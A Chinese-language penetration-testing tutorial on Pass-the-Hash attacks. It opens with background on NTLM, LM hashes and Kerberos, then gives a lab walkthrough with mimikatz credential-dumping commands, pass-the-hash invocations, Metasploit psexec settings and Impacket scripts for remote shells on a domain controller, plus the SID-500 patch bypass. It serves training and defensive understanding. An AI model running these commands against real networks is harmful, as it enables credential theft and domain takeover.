一、哈希传递的介绍
0x01 哈希传递攻击的概念
大多数渗透测试成员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(从而获得密码明文)
在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
0x02 为什么要进行hash传递
PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。
0x03 windows登录认证机制
(1):首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地
(2)客户端将username明文传输到域控主机
(3):然后域控会随机生成16字节的challenge挑战码返回给客户端
(4):客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
(5):服务端将客户端发来的信息转发给域控
(6):域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并且使用自己存储的password的hash对对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则就验证失败
0x03 NTLM Hash和LM Hash
Windows操作系统经常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。
Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在windows中,Hash的结构通常如下
username:RID:LM-HASH:NT-HASH
(1):LM Hash介绍
LM Hash的全名是"LAN Manager Hash",是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。LM Hash的生成原理中最重要的一步是密码不足14字节用0补全。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。
(2):NTLM Hash
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。已经有了更新的NTLM v2以及Kerberos验证体系。NTLM是windows早期安全协议,因向后兼容性而保留下来。
NTLM Hash是基于MD4加密算法进行加密的。个人版从Windwos Vista以后,服务器版从Windows server2003以后,Windows操作系统的认证方式均为NTLM Hash。
0x04 Kerberos介绍
(1):什么是Kerberos
简单来说,Kerberos是一种认证机制。
(2):Kerberos存在的目的
通过密钥系统为客户端/服务器应用程序提供强大的认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。
Kerberos协议的整个认证过程实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。说白了, Kerberos通过传统的加密技术(共享密钥)实现了一种可信任的第三方认证服务。
(3):认证授权
认证授权(Anthentication and Authorization)是系统权限管理经常需要考虑的问题,也是一个很复杂的问题
- 认证:系统识别某个个体/请求的身份时,称为认证;即辨别身份真伪,解决“你是谁”的问题。
- 授权:系统赋予某个个体从事某种行动的权利,叫做授权;即解决“你能做什么”的问题。
认证未必需要授权,授权必须进行认证。
(4):SSL(Security Sockets Layer)
SSL就是使用公私钥约定会话密钥,然后使用会话密钥和对称加密算法(例如DES)进行通信。
A要和B实现安全通信,A使用B的公钥加密一个密钥C发给B,B拿到后用私钥解密后得到密钥C,以后A和B之间传输的信息都使用约定的密钥C来加密,这个只有约定双方知道的密钥C叫做会话密钥(session key),其中约定会话密钥的过程叫做握手。
(5):单点登录
SSO(single sign on):单点登录。多系统共存的情况下,用户一次登录得到其他所有系统的信任。
单点登录到处可见,平时在公司上班,公司有多个内部系统,如果每个系统都要输入用户名密码真的是很崩溃的一件事情,登录一次就可以访问所有的系统,这就是单点登录;例如淘宝和天猫是两个不同的系统,你上淘宝买东西,买好又去天猫买,这个时候就不需要再重新登录,即单点登录。
SSO比较经典的解决方案是CAS(central authentication service):中央认证服务
CAS的原理和工作流程基本都是参考Kerberos票据的原理,所以也不用去研究CAS原理,直接搞懂Kerberos原理,CAS原理也就通了
(6):Kerberos术语
KDC(key distribution center):密钥发放中心
AS(authentication service):认证服务,索取credential,发放 TGT
TGS(ticket granting service):票据授权服务,索取TGT,发放ST
ST(service ticket):服务票据,由KDC的TGS发放,任何一个应用(application)都需要一张有效的服务票据才能访问;如果能正确接受ST,说明client和server之间的信任关系已经被建立,通常为一张数字加密的证书。
TGT(ticket granting ticket):票据授权票据,由KDC的AS发放;获得这样一张票据后,以后申请其他应用的服务票据(ST)时,就不需要向KDC提交身份认证信息(credential),TGT具有一定的有效期,就像是kerberos进行kinit以后只是具有固定时间的有效期,需要不断的去renew来续约。
上面几个术语简单说下它们的关系:KDC由AS和TGS组成,AS进行身份认证发放TGT,TGT是用来避免多次请求而需要重复认证的凭证;TGS发放ST,ST用来访问某个service时的凭证,ST相当于告诉service你的身份被KDC认证为合法的一个凭证。可以参考Kerberos原理中所画的图来理解这些术语。
Authenticator:验证器,与票据结合用来证明提交票据的user就是其所声明的身份,内容包括{user, address, start_time, lifetime},这些内容使用user和service之间的session key加密;验证器是user客户端自己构建,只能“被使用一次”。
0x05 Kerberos原理
1.为什么要有Kerberos这样一个中央认证机制?
既然认证就是辨别身份,那我输入用户名密码不就好了,为何要有Kerberos这样一个复杂的东西?
举例来说,有A,B,C三个服务器,分别提供不同的服务,user要访问ABC都需要输入用户名密码,但是ABC没必要都存一份user的密码,所以就衍生出一个中央服务器D来专门存储用户名密码;如果user通过了D的认证,那就是合法的身份,就可以使用ABC任何一个服务,所以user需要告诉ABC它通过了D的认证。如何证明这个事情,以及信息在网络传输过程如何防止被截获篡改而假冒等等,解决这些问题就靠Kerberos。
强烈推荐阅读MIT经典对话,可以理解协议中每条信息有什么字段,为何要设置这个字段等。
2.Kerberos认证流程
(1):User向KDC中的AS请求身份验证,AS为user和TGS生成一个session key:SKTGS,并发送{ TGT, SKTGS } K_USER
其中,{TGT, SKTGS}KUSER表示使用user的密码加密的packet,包含了TGT和用户与TGS的session key;这个请求验证的过程实际上是使用kinit来完成的,kinit将username传给AS,AS查找username的密码,将TGT和SKTGS使用用户密码加密后发送给kinit,kinit要求用户输入密码,解密后得到TGT和SK;其中,TGT使用TGS的密码加密,信息内容为{ user, address, tgsname, starttime, lisftime, SKTGS} K_TGS。
(2):User向KDC中的TGS请求访问某个Service的ST,发送[ TGT, Authenticator ]
其中,Authenticator用于验证发送该请求的user就是TGT中所声明的user,内容为:{ user, addresss, start_time, lifetime};Authenticator使用的TGS和user之间的session key加密的,防止TGT被盗。TGS先使用自己的密码解开TGT获得它与user之间的session key,然后使用session key解密Authenticator,验证用户和有效期。
(3):TGS判断无误后,为user和Service之间生成一个新的session key:SKService;然后发送给user一个包:[ {SKService} SK_TGS, ST ]
其中,ST是使用Service的密码加密的,SKService使用TGS和user之间的session key加密的;ST的内容为:{ user, address, starttime, lifetime, SKService } KService。
(4):User使用与TGS之间的会话秘钥解开包得到与Service之间的会话秘钥SKService,然后使用SKService生成一个Authenticator,向Service发送[ ST, Authenticator ]
其中,此处的Authenticator是使用user和service之间的会话秘钥加密的,Service收到包后先使用自己的密码解密ST,或者会话秘钥SKService,然后使用SKService解密Authenticator来验证发送请求的用户就是票中所声明的用户。
(5):Service向用户发送一个包以证明自己的身份,这个包使用SKService加密。此后user与Service之间使用SKService进行通信,且在TGT有效期内,user直接跳过第一步直接从第二步使用TGT向TGS证明自己的身份。注意:user client会等待service server发送确认信息,如果不是正确的service server,就无法解开ST,也就无法获得会话秘钥,从而避免用户使用错误的服务器。
个人理解要点:
- TGS可以理解为一种service,TGT就可以理解为TGS的‘ST’,这样理解Kerberos就简单了,除了AS,其他都是一种Service对应着它们所需要的服务票据ST。
- 整个过程涉及两个Session Key,一个是user和TGS之间的(由AS设置),一个是user和某个Service之间的(由TGS设置);按照把TGS作为一种特殊service的方式来理解的话,就是user和service之间都是通过Session key来通信的。
- Service(包括特殊的TGS)取得相应session key是通过service自己的密码获得的,用户获得session key也是通过自己的密码取得的;即二者都通过自己的密码取得session key,然后使用session key进行通信;与上面说的加密技术是一样的道理。
至于为何要使用Session key,为何要使用Authenticator,原因还是去读一下经典对话吧,看看它们是如何被一步步设计出来的。
说到这里,其实上面的流程图也就是CAS的原理:
用户访问某个应用程序,应用服务器接收请求后检查ST和TGT,如果都有则用户正常进行访问;如果没有或者不对(如图,步骤1),转到CAS认证服务器的登录页面,通过安全认证后得到相应应用的TGT(步骤2-3)和该应用的ST(步骤4-5),再重定向到相关的应用服务器(步骤6),如果在会话周期内再定向到别的应用(步骤7),将出示TGT和该应用的ST(如果没有,就直接通过步骤4-5得到该应用的ST,即步骤8)进行认证。
3.kerberos认证理解
这里引用参考文献的一个小场景,觉得作者写的非常好,拿来很助于理解:
用户要去游乐场,首先要在门口检查用户的身份(即 CHECK 用户的 ID 和 PASS), 如果用户通过验证,游乐场的门卫(AS)即提供给用户一张门卡(TGT)。
这张卡片的用处就是告诉游乐场的各个场所,用户是通过正门进来,而不是后门偷爬进来的,并且也是获取进入场所一把钥匙。
现在用户有张卡,但是这对用户来不重要,因为用户来游乐场不是为了拿这张卡的而是为了游览游乐项目,这时来到了摩天轮,并想游玩。这时摩天轮的服务员 (client) 拦下用户,向用户要求摩天轮的 (ST) 票据,用户说我只有一个门卡 (TGT),那用户只要把 TGT 放在一旁的票据授权机 (TGS) 上刷一下。票据授权机 (TGS) 就根据用户现在所在的摩天轮,给用户一张摩天轮的票据 (ST), 这样用户有了摩天轮的票据,现在用户可以畅通无阻的进入摩天轮里游玩了。
当然如果用户玩完摩天轮后,想去游乐园的咖啡厅休息下,那用户一样只要带着那张门卡 (TGT). 到相应的咖啡厅的票据授权机 (TGS) 刷一下,得到咖啡厅的票据 (ST) 就可以进入咖啡厅。
当用户离开游乐场后,想用这张 TGT 去刷打的回家的费用,对不起,用户的 TGT 已经过期了,在用户离开游乐场那刻开始,用户的 TGT 就已经销毁了。
二、哈希传递的原理
0x01 哈希传递的原理
NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:
- 1.获得一台域主机的权限
- 2.Dump内存获得用户hash
- 3.通过pass the hash尝试登录其他主机
- 4.继续搜集hash并尝试远程登录
- 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
0x02 哈希攻击分析
(1):散列值介绍
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现漏洞,那么所有用户的明文密码都会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列机密处理(通常使用MD5算法)。散列加密算法一般为单项不可逆算法。当用户登录网站时,会先对用户输入的密码及逆行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。
(2):windows登录认证
主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。NTLM 是指telnet的一种验证身份方式,即问询/应答身份验证协议。早期版本的Windows操作系统,则使用LM Hash对用户密码进行验证。但是,当密码大于14位时,就无法使用LM Hash了。从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认证时,不会产生明文口令,而是将明文口令通过系统API(例如LsaLogonUser)转换成散列值。不过,攻击者在获得密码散列之后,依旧可以使用Hash传递攻击来模拟用户进行认证。
三、Hash传递攻击实例
0x01 首先搭建域环境
参考链接:https://blog.csdn.net/Ping_Pig/article/details/106974687
0x02 获取域内某主机hash
使用mimikatz抓取密码或者hash,其实如果在域内主机可以获取到明文密码,我们可以使用明文密码进行登录,但是在很多情况下,由于域内密码复杂度要求,我们可能无法获取到域内主机明文密码,这就导致我们必须使用hash传递来获取域控权限。
代码语言:javascript复制privilege::debug # 查看是否有debug权限
token::elevate # 提升到最高权限
sekurlsa::logonpasswords full #抓取所有的密码,如果密码复杂则只会抓到hash
获取到NTLM的hash。
0x03 使用hash传递查看域控文件目录
(1):进行hash传递
代码语言:javascript复制sekurlsa::pth /user:administrator /domain:域名或者域控IP /ntlm:afffeba176210fad4628f0524bfe1942
成功弹出一个cmd权限,这个cmd是域内主机的cmd,不是域控的cmd。
(2):在弹出的cmd中,可以直接连接该主机、查看目录文件等操作
代码语言:javascript复制连接域控:net use \192.168.223.10c$
查看文件目录:dir \192.168.223.10c$
0x04 使用hash传递获取域控RDP权限
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启。
①对应命令行开启Restricted Admin mode的命令如下:
代码语言:javascript复制REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
②查看是否已开启 DisableRestrictedAdmin
代码语言:javascript复制REG_DWORD 0x0 存在就是开启
REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin"
③使用hash登录域控RDP
代码语言:javascript复制privilege::debug
sekurlsa::pth /user:administrator /domain:wwl /ntlm:afffeba176210fad4628f0524bfe1942 "/run:mstsc.exe /restricted admin"
由于环境问题,这个方法没有成功。
0x05 使用msf进行hash传递获取域控权限
使用代理开启msf后,直接搜索PsExec,然后use一下,接着设置一些基本参数,目标IP,用户名,密码和域。 密码字段我们直接传递hash值,也是没问题的。执行之后,就会返回我们提供的用户的meterpreter会话。
代码语言:javascript复制proxychains msfconsole
use exploit/windows/smb/psexec
set smbdomain wwl
set rhosts 192.168.223.10
set smbuser administrator
set smbpass 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942
run
0x06 使用wmiexec.exe进行hash传递获取域控权限
impacket文件链接:
https://github.com/maaaaz/impacket-examples-windows
代码语言:javascript复制wmiexec.exe -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 wwl/Administrator@192.168.223.10
0x07 使用psexec.py进行hash传递获取域控权限
Impacket工具包也有一个psexec脚本,这也是我把它作为PsExec一类列出来的原因。用法跟我们上面测试的smbclient.py非常相似。不同之处是获得的shell类型。smbclient.py获得的是SMB shell。这个脚本获得的是正常的系统shell。
代码语言:javascript复制python psexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
0x08 使用wmiexec.py进行hash传递获取域控权限
WMI是微软的一套管理规范,整合了windows网络中设备和应用程序的管理。WMI为用户提供了基本信息,并且让用户有权限执行各种管理任务。这种权限是通过身份认证来实现的。当我们有了凭证的时候,我们就可以执行pth攻击来通过身份认证了。
Impacket有一个脚本可以利用WMI来获得靶机的会话并执行各种任务。执行这些任务需要用户的凭证。同样地,我们不用密码,直接使用hash值,看看能不能通过这个脚本获得靶机的会话。需要设置的参数,用户名,IP地址,hash值。
代码语言:javascript复制python wmiexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
0x09 使用rpcdump.py进行hash传递获取RPC信息
RPC,也就是远程过程调用,它是一种协议,应用程序可以通过RPC来调用网络中其他远程系统上的特定服务。如果我们能在认证过程中传递hash值,我们就能从特定的靶机上获取一些基本的终端信息。
Impacket团队还开发了一个非常不错的脚本,能帮助我们获取目标靶机上的RPC端点列表。因为需要认证,所以我们将会通过pth攻击来获取端点信息,参数设置:域,用户名,IP地址及hash值。
代码语言:javascript复制python rpcdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
0x10 使用atexec.py进行hash传递执行命令
代码语言:javascript复制python atexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10 whoami
0x11 使用lookupsid.py进行hash传递列出本地用户和域用户
代码语言:javascript复制python lookupsid.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
0x12 使用samrdump.py进行hash传递获取SAM值
代码语言:javascript复制python samrdump.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator@192.168.223.10
四、Hash攻击的局限性
微软在2014年5月发布了KB2871997。该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用PsExec、WMI、smbexec、schtasks、at,也无法访问远程主机的文件共享等。
在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997的影响。在实际网络维护中特别要注意这一点。
在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEYLOCALMACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击。
参考链接:
https://www.cnblogs.com/KevinGeorge/p/9265550.html
https://www.cnblogs.com/KevinGeorge/p/8868671.html
https://www.freebuf.com/articles/system/217681.html